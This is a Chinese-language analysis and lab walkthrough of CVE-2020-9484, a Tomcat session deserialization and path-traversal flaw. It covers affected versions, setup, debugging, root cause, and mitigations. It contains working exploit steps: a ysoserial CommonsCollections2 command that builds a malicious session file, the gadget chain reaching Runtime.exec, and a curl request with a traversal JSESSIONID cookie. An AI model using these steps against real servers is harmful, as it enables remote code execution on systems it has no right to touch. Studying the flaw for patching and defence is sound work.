CVE-2020-9484 tomcat session反序列化漏洞分析
字数 1163 2025-08-15 21:31:23

CVE-2020-9484 Tomcat Session反序列化漏洞分析与利用

漏洞概述

CVE-2020-9484是Apache Tomcat中的一个远程代码执行漏洞,源于持久化Session的反序列化问题。该漏洞需要特定条件才能利用,但一旦满足条件,攻击者可以执行任意代码。

影响版本

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104

漏洞依赖条件

  1. Tomcat必须启用session持久化功能FileStore
  2. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget(如commons-collections4-4.0.jar)
  3. 服务器上存在已知路径且内容可控的文件

环境配置

1. 配置session持久化

修改conf/context.xml文件,添加以下配置:

<Manager className="org.apache.catalina.session.PersistentManager" 
         debug="0" 
         saveOnRestart="false" 
         maxActiveSession="-1" 
         minIdleSwap="-1" 
         maxIdleSwap="-1" 
         maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="./session" />
</Manager>

2. 部署Gadgets jar包

下载commons-collections4-4.0.jar并放在tomcat的lib/目录下。

调试方法

本地调试(使用IntelliJ IDEA)

  1. 创建项目:创建Web Application项目
  2. 添加Tomcat服务:在Configurations中配置Tomcat服务信息
  3. 添加Tomcat源码:在IDEA中添加Tomcat源码
  4. 配置项目lib库文件:将Tomcat相关jar及源码设为library

远程调试

  1. 修改启动脚本:修改catalina.bat添加debug配置
    CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"
    
  2. 检查端口:使用lsof -i:5005确认端口开放
  3. 配置debug属性:在IDEA中配置debug IP及端口

漏洞原理分析

当使用Tomcat的session持久化功能时,Tomcat会尝试读取session文件内容并进行反序列化。

关键代码路径

  1. 路径拼接org.apache.catalina.session.FileStore中的file函数直接将id作为文件名拼接,存在路径穿越风险
  2. 反序列化:读取文件内容后直接进行反序列化操作

漏洞利用

1. 生成Payload

使用Ysoserial生成反序列化文件:

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "command" > /tmp/test.session

关键利用链:

ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

2. 触发漏洞

通过curl发送请求触发:

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=tmp/test'

漏洞补丁

Tomcat在8.5.55版本中修复了此漏洞,主要是在文件路径判断上增加了安全校验,防止路径穿越攻击。

防护建议

  1. 升级到不受影响的Tomcat版本
  2. 如无法升级,禁用session持久化功能或FileStore
  3. 严格控制服务器上文件上传功能
  4. 移除不必要的依赖库,特别是已知存在gadget的库
CVE-2020-9484 Tomcat Session反序列化漏洞分析与利用 漏洞概述 CVE-2020-9484是Apache Tomcat中的一个远程代码执行漏洞,源于持久化Session的反序列化问题。该漏洞需要特定条件才能利用,但一旦满足条件,攻击者可以执行任意代码。 影响版本 Apache Tomcat 10.x < 10.0.0-M5 Apache Tomcat 9.x < 9.0.35 Apache Tomcat 8.x < 8.5.55 Apache Tomcat 7.x < 7.0.104 漏洞依赖条件 Tomcat必须启用session持久化功能FileStore tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget(如commons-collections4-4.0.jar) 服务器上存在已知路径且内容可控的文件 环境配置 1. 配置session持久化 修改 conf/context.xml 文件,添加以下配置: 2. 部署Gadgets jar包 下载 commons-collections4-4.0.jar 并放在tomcat的 lib/ 目录下。 调试方法 本地调试(使用IntelliJ IDEA) 创建项目 :创建Web Application项目 添加Tomcat服务 :在Configurations中配置Tomcat服务信息 添加Tomcat源码 :在IDEA中添加Tomcat源码 配置项目lib库文件 :将Tomcat相关jar及源码设为library 远程调试 修改启动脚本 :修改 catalina.bat 添加debug配置 检查端口 :使用 lsof -i:5005 确认端口开放 配置debug属性 :在IDEA中配置debug IP及端口 漏洞原理分析 当使用Tomcat的session持久化功能时,Tomcat会尝试读取session文件内容并进行反序列化。 关键代码路径 路径拼接 : org.apache.catalina.session.FileStore 中的 file 函数直接将id作为文件名拼接,存在路径穿越风险 反序列化 :读取文件内容后直接进行反序列化操作 漏洞利用 1. 生成Payload 使用Ysoserial生成反序列化文件: 关键利用链: 2. 触发漏洞 通过curl发送请求触发: 漏洞补丁 Tomcat在8.5.55版本中修复了此漏洞,主要是在文件路径判断上增加了安全校验,防止路径穿越攻击。 防护建议 升级到不受影响的Tomcat版本 如无法升级,禁用session持久化功能或FileStore 严格控制服务器上文件上传功能 移除不必要的依赖库,特别是已知存在gadget的库